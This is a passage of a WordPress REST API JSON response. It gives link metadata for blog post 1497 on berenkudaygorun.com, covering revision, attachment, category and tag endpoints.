orun.com\/blog\/wp-json\/wp\/v2\/posts\/1497\/revisions"}],"predecessor-version":[{"id":1499,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1497\/revisions\/1499"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1497"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1497"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1497"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}